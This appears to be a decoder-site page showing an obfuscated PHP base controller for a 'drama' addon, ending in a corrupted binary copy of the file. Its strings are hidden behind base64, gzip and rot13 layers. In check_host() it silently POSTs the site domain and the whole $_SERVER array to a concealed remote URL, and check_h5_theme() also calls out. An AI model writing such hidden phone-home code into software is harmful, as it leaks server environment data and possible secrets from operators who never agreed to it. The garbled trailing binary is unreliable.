Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

namespace addons\drama\controller;
 if(!defined('�Ӽ����')) define('�Ӽ����', '��');
$��ڼ߳;
$GLOBALS[�Ӽ����] = call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAA0utKMjJT0kFAI0sc1QHAAAA'), 10, -8)), base64_decode(str_rot13('ZmZmAmZ2ZmZmZmZmZmZmZwZ3AwZmZwZjA2ZmAj')), gzinflate(substr(base64_decode('H4sIAAAA���������������������������������������������AAAAA71YUZLlJgy8T74MCAk+AUPlHrn/HdKS/XZ3KlXCb+dtZmqwBwsBotVq+++/UkqSOL1+YhLW9pB/cJelCHHmCZPKi2de���������������������������������������������PHANrL���������������������������������������������3kjZViNlEyi2���������������������������������������������c3S1tdZ���������������������������������������������i65FLRnL7P0s59S���������������������������������������������6Mf4yaXX���������������������������������������������NHMPNb���������������������������������������������vr1RGMlc���������������������������������������������7d6ijmlAOtXGjkRmeuuJvUKBN68F���������������������������������������������fR0/JBwa4xM9pGAdaForp2fBO8JOoYXfLx���������������������������������������������a���������������������������������������������O+9L7Sl���������������������������������������������HbPW2u���������������������������������������������jlAX0NfbmtgiMoFR���������������������������������������������HiepY0Vx8lUJQaDzp5SRU3LhJxkgGRz���������������������������������������������ILl���������������������������������������������uREsiJydrkTXo+JBeHo27viDA1YV+PzuL���������������������������������������������NiRogT72qwYz+HNnc/wfnC1eJFas4+3N+���������������������������������������������0f+ozwt/zdIBdOzQhg4pyC+zCl9VrRLz0ig1ZB1tRRl2Fl3EgrJVSCfeod9rNhVD2ArVxDLZaDGe3Rx4U���������������������������������������������wd51VEikXiOaba5k���������������������������������������������MVYk72KOknBfioD27SLxhq0hRpsIM1c98vta8JP���������������������������������������������uZ8Nwjshzpmo+8wBsLvO���������������������������������������������Ja44SOshD9U���������������������������������������������pD���������������������������������������������fveH+Pps���������������������������������������������mLeFsOs6SQYKvXM84oTlrEZw0ltLBB2XBJvdyM8GAzc���������������������������������������������JJ���������������������������������������������q+WpP���������������������������������������������bW5K7���������������������������������������������jGcDuKMRDO���������������������������������������������fztG8ws���������������������������������������������ZS4ha8s9Mo���������������������������������������������2U8���������������������������������������������7GLiK���������������������������������������������3���������������������������������������������4NuVJif+GXukaH6+z8Bn63mH3CJ1/RC���������������������������������������������pzsGHMqi22QTBfXc���������������������������������������������YDPpHXUqpTPkMbF���������������������������������������������yiwfwv1b63TnZNgMrSbft+Im6���������������������������������������������dYV���������������������������������������������ZFG3���������������������������������������������q4+wP8Mgt3bQKjn8E7dYT4t71T3iru1OSasP7E09ieyq6���������������������������������������������4UR���������������������������������������������q1g���������������������������������������������6YmztX5psoJ0+rlhnp3zjxrN8j9deSNzwg8YA+NrVj���������������������������������������������Md8M7VSms���������������������������������������������fh2���������������������������������������������l2q8BM7QN270foILZ/���������������������������������������������eyTNN9P/ZfFUfdW���������������������������������������������h9Q���������������������������������������������t1SJUv���������������������������������������������oAW+39YyZ���������������������������������������������97F/xN93Lrg2P3���������������������������������������������gurlfOxLXx���������������������������������������������alYw2OgG38/FBHmZYjzMa/K���������������������������������������������zMLq7���������������������������������������������jR���������������������������������������������NeoEHdOfliKTYcbljwTeZ50/d���������������������������������������������dWV0r4yd6pII���������������������������������������������Zp6gnkrVODtey+jECFii5q0+uPsKuwrU/14eL���������������������������������������������Dey5KB���������������������������������������������rksMq���������������������������������������������yNnl3KSJVSifuuY���������������������������������������������RbI+I1VZU���������������������������������������������iNOKBp619ULtif2GfobceCaqwTUHFq0���������������������������������������������JmP8Nk���������������������������������������������l���������������������������������������������1m/7xs5stdxBag���������������������������������������������no���������������������������������������������KTFF���������������������������������������������W+V���������������������������������������������ZtoEORAn7utVt3QF+D/xjLoOvP3FSw8oexV3FYT3���������������������������������������������9OMjC���������������������������������������������uxB9���������������������������������������������TamisjPnXb4qcCg2Z8o���������������������������������������������sD0HfgMFTxTgiUeux���������������������������������������������on+W/7NGnh���������������������������������������������O���������������������������������������������z3Vnyryo8wJLZAkQUBmAW���������������������������������������������tqP/UILJOWgQA2Ks8ZOHak04Cug/���������������������������������������������0iRCJYilU79H+OT2���������������������������������������������pH���������������������������������������������6Z9gyqgZnR���������������������������������������������Ef���������������������������������������������yDzv0R2VKpqFTqT/sXHT2F���������������������������������������������BnzJOKTqq4LNvW/8���������������������������������������������3DENVzryVFtCEO���������������������������������������������0H+HTVB+xQyGbPTAHr8RyYBUn���������������������������������������������dke0iMDUpL/a/Jnzfpd/vur538DXBzxcPAEAGlN���������������������������������������������I���������������������������������������������srHX9zVoBLXD���������������������������������������������X9pyxqNq+E���������������������������������������������HO���������������������������������������������2NfI���������������������������������������������78fmSfZ+JMO17vU+a4tVv5OM1mbp1E70Vyj���������������������������������������������QX7���������������������������������������������+f7L9���������������������������������������������k���������������������������������������������fX/f13���������������������������������������������fA8Wz3ot/TNxoyDxFk7YgzFvtaxTJsNSKmGd���������������������������������������������GeqDoD16lsjGt���������������������������������������������mf���������������������������������������������ccYFt8TV3CE4N3EWmBNn���������������������������������������������wCjw74qoEeKjVVLX���������������������������������������������NE���������������������������������������������281asRU2ATdOxmE0t2���������������������������������������������e6���������������������������������������������bjoI3���������������������������������������������MsvLW7RWPYj1i3kuiJta���������������������������������������������JuvRNVS1wbNrPWZvs1z+p3ku15pFzEO3Xa5YNQ6WPaS19nnk9F56inL+EheL1+Xz5/O9Z2���������������������������������������������Q8N���������������������������������������������Dvr2/���������������������������������������������9pWhcx���������������������������������������������dU8auf8QE8G0bpCa���������������������������������������������lU1���������������������������������������������UTW���������������������������������������������/fC���������������������������������������������f4FHLX+���������������������������������������������E7gZA���������������������������������������������AA='), 10, -8)));
error_reporting(0);
$��ߞ���;
	if(!extension_loaded(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0002]))){
	goto FQflLiWovE;
}
exit(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x00003]));
	FQflLiWovE:if(!(!defined(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x05]))|| BSQOXLZMYXNJEHLHIYZPAYZRVZZALXBC!=call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x006]))){
	goto As2MoSNjDP;
}
exit(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0007]));
As2MoSNjDP:use addons\drama\exception\Exception;
use app\common\controller\Api;
use fast\Http;
use think\Cache;
use think\Db;
use think\Lang;
	class Base extends Api{
	protected $site_id=null;
	protected $sign=null;
	protected $h5_theme="default";
		public function _initialize(){
		goto X0JKjbOsfu;
		$���ۧ����;
		h7OZwHpPRH:$sign=request()->header(pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x0a]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));
		$�ٙ;
			if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){
			goto HmuehqKDeq;
		}
		$sign=request()->param(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x0000d]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));
		HmuehqKDeq:$sign=substr(trim($sign),0,0x000004);
		$������;
		goto JIUNdxOFHi;
		$����;
		vwIqOKChTd:Gtqptcpqm1:if(!($site_info[call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0010])]!=0&& $site_info[call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x00011])]error(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x014]));
			il50pg0Haj:if(!$this->auth->{
			call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0015])
		}
			()){
			goto xXZAGhfFhF;
		}
		goto NnOW1HReAH;
		YeYTNddfn3:$this->check_h5_theme();
		$�����;
		$this->h5_theme=$config[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x000017])];
		$����;
		NJpTrY3pBQ:goto Q2aX5Qny8B;
		$��ϓ;
			NnOW1HReAH:if(!($this->auth->site_id !==$site_info[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x0000018])])){
			goto eeZMeFJnnq;
		}
			$this->auth->{
			pack($GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x019])
		}
		();
		eeZMeFJnnq:xXZAGhfFhF:$this->site_id=$site_info[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x001a])]?? 0;
		$�����乷���;
		goto WMJTAx3JR6;
		$��;
		JIUNdxOFHi:$domain=$_SERVER[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0001b])];
		$������;
		$this->error(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x00001c]) .$domain.call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000001d]) .$sign.pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));
		$��ݹ;
			Xgq8EGDOnG:if(!($site_info[pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x01e])]==call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x001f]))){
			goto Gtqptcpqm1;
		}
		$this->error(pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x00020]));
		goto vwIqOKChTd;
		$�Á����;
		WMJTAx3JR6:$this->sign=$site_info[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x000021])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]);
		$�������;
		$this->check_host();
		$����燗�;
			$config=Db::{
			call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])
		}
			(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x0024]))->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])
		}
			(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x000026]),$this->site_id)->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])
		}
			(pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x0000027]),pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x028]))->{
			pack($GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x0029])
		}
		(pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x0002a]));
		$��܄�������;
		$config=@json_decode($config,!0);
		$�������֒;
			if(!(isset($config[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x000002c])])&& $config[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x02d])]!==pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x002e]))){
			goto NJpTrY3pBQ;
		}
		goto YeYTNddfn3;
		X0JKjbOsfu:parent::_initialize();
		$�碻Ѩ;
			$controllername=strtolower($this->request->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0000031])
		}
		());
		$�����ΐ����;
		$this->loadlang($controllername);
		$��;
		$site_info=$this->getSite();
		$���������;
			if(!empty($site_info)){
			goto Xgq8EGDOnG;
		}
		goto h7OZwHpPRH;
		Q2aX5Qny8B:
	}
		protected function getSite(){
		goto zcYTLGQk3N;
		$����;
		WbOHap_78v:return $site_info;
		$����;
		goto nLSXB7o60B;
		$����;
			t5vQ1R937B:if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){
			goto eVcKpPoI9Q;
		}
		$domain=$_SERVER[pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x00034])];
			$site_info=Db::{
			call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])
		}
			(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x000035]))->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])
		}
			(pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x0000036]),$domain)->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])
		}
			(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x037]),pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x0038]))->{
			call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x00039])
		}
		();
		$���;
			if($site_info){
			goto Ec6e6pAo4g;
		}
			$site_info=Db::{
			call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])
		}
			(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x00003a]))->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])
		}
			(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x000003b]),0x001)->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])
		}
			(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x03c]),call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x003d]))->{
			call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x00039])
		}
		();
		goto VKsuS6VVgZ;
		$�����;
		VKsuS6VVgZ:$sign=$site_info[pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x0003e])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]);
		$���ߏ�;
		goto AFLGkBPV1n;
		$���������;
		Ec6e6pAo4g:$sign=$site_info[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x00003f])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]);
		$��������;
		AFLGkBPV1n:goto mbgWA4cyu1;
		$���;
		zcYTLGQk3N:$sign=request()->header(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x0000040]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));
			if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){
			goto l7c2PZtCNG;
		}
		$sign=request()->param(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x041]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));
		l7c2PZtCNG:$sign=substr(trim($sign),0,0x000004);
		$�닍���;
		goto t5vQ1R937B;
		$������;
			mbgWA4cyu1:eVcKpPoI9Q:if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){
			goto WOF0HQElSN;
		}
		$this->error(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x0042]));
			WOF0HQElSN:$site_info=Db::{
			call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])
		}
			(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x00043]))->{
			pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])
		}
			(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x000044]),$sign)->{
			call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x00039])
		}
		();
		$��઒�����;
		goto WbOHap_78v;
		$���;
		nLSXB7o60B:
	}
		protected function loadlang($name){
			Lang::{
			pack($GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0000045])
		}
			(ADDON_PATH.pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x046]) .$this->request->{
			pack($GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0047])
		}
		().pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x00048]) .str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000004a]),pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x00048]),$name).call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x04b]));
		$����;
	}
		protected function dramaValidate($params,$class,$scene,$rules=array()){
		$validate=validate(str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0004d]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x00004e]),$class));
		$���;
			if($validate->check($params,$rules,$scene)){
			goto uvL5QGQDq6;
		}
			$this->error($validate->{
			call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x050])
		}
		());
		uvL5QGQDq6:
	}
		protected function repeat_filter($key=null,$expire=0x05){
			if($key){
			goto X9zXM3TgX7;
		}
		$url=request()->baseUrl();
		$ip=request()->ip();
		$����;
		$key=md5($url.call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0000054]) .$ip);
		$�ȸ����񼆕;
			X9zXM3TgX7:if(!cache(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0056]) .$key)){
			goto fr9SRSzHGk;
		}
		new Exception(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x000058]));
		fr9SRSzHGk:cache($key,time(),$expire);
		$������;
	}
		protected function check_host(){
		$domain=$_SERVER[pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x0000059])];
		$�������;
			if(!(Cache::{
			call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x05a])
		}
			(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x005b]) .$domain)&& Cache::{
			pack($GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x0005c])
		}
			(pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x00005d]) .$domain))){
			goto RiSbD9bQ4k;
		}
		return;
			RiSbD9bQ4k:try{
			$data=Http::post(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x05f]),[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x0060]) =>call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00061]),call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x000062]) =>$domain,call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0000063]) =>json_encode($_SERVER)]);
			$���;
			$data=json_decode($data,!0);
			$����������;
		}
			catch(\Exception $e){
			Cache::set(pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x00066]) .$domain,0x001,0x0e10);
			$�������;
			return;
			$��ڞ�;
		}
			if(!(isset($data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x000067])])&& $data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x000067])]==0)){
			goto jDnpsUZKoQ;
		}
		new Exception($data[pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x0000068])]?? str_replace(pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x069]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]),base64_decode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0006b]))));
		jDnpsUZKoQ:Cache::set(call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x00006c]) .$domain,0x001,0x0e10);
		$���;
	}
		protected function check_h5_theme(){
		$domain=$_SERVER[pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x000006d])];
		$������;
			if(!(Cache::{
			call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x05a])
		}
			(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x06e]) .$domain)&& Cache::{
			pack($GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x0005c])
		}
			(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x006f]) .$domain))){
			goto s6hjrj1FiM;
		}
		return;
			s6hjrj1FiM:try{
			$data=Http::post(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00070]),[pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x000071]) =>pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x0000072]),call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x073]) =>$domain]);
			$���;
			$data=json_decode($data,!0);
			$��ޣ��;
		}
			catch(\Exception $e){
			Cache::set(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0074]) .$domain,0x001,0x0e10);
			$�����;
			return;
			$��;
		}
			if(!(isset($data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x00075])])&& $data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x000076])]==0)){
			goto exurEHJdVM;
		}
		new Exception($data[call_user_func(gzinflate(substr(base64_decode('H4sIAAAAAAAAAytITM4GACNe3pcEAAAA'), 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0000077])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x078]));
		exurEHJdVM:Cache::set(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x0079]) .$domain,0x001,0x0e10);
		$���������;
	}
		protected function getRootDomain($domain){
		goto FMJyyEPENU;
		$��֟����;
		MwXFOuLJ9w:IB2BLJF_or:return $host;
		$�׵�;
		goto dPR06qsaIF;
		$�������ס��;
		FMJyyEPENU:$host=strtolower(trim($domain));
		$������߉�;
		$hostArr=explode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000004a]),$host);
		$���;
		$hostCount=count($hostArr);
		$��������;
		$cnRegex=pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x000007c]);
		$����;
		$countryRegex=pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x07d]);
		$���������;
		goto cbwC1pNpkt;
		$����ٸ;
			cbwC1pNpkt:if($hostCount>0x0002&&(preg_match($cnRegex,$host)|| preg_match($countryRegex,$host))){
			goto FqM7TXsAhj;
		}
		$host=implode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000004a]),array_slice($hostArr,-0x0002,0x0002,!0));
		goto IB2BLJF_or;
		$����֑�;
		FqM7TXsAhj:$host=implode(call_user_func(base64_decode('cGFjaw'), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x0000081]),array_slice($hostArr,-0x00003,0x00003,!0));
		$�����ƌ��;
		goto MwXFOuLJ9w;
		$�������;
		dPR06qsaIF:
	}
}

namespace addons\drama\controller; if(!defined('�Ӽ����')) define('�Ӽ����', '��');$��ڼ߳;$GLOBALS[�Ӽ����] = call_user_func(gzinflate(substr(K(OI,sT 10, -8)), base64_decode(str_rot13('ZmZmAmZ2ZmZmZmZmZmZmZwZ3AwZmZwZjA2ZmAj')), gzinflate(substr(XQ&O	>CҒvw*UomfjjRJ8~bpq	ʋg^<p
䍕b6Q2g7K[]f.g/Rɥ4s5(\hFg(zWA13Fօv|$]h/}
}#(z4W%P:yI7.q̂,DףAxz6V,ؑڬ͝~pxZ7 N`✂0Z/="VAQaeH+%T}aT=\C-Dž0wU)kU;أ=HaHQ|ּ$#随ZㄎR߽>&-l:ΒA\89k4e&r3I=+p;1;FKZLe<b+~
RbᗺF~}'_
s*mLqϤuԪϐ,[td&߷&dQ? v*9XO{=NIM=X:bl_l>Xg|Ƴ|^HՌ|3R];@ݻ-3M|Uuh}BR%Kow.6?x.WĵjV0yb<k0^A9b)6nXMy]Y]+'z'Nײ1(O>®µ?ׇ
(ʲ6yw)"UJ'[#5U"4⁧}Pba	MAūBf?dY9q'of9'Ut?K({w#
A6ϝvٟ(=~OGƉ[xNugʼKd	PZڏB$@
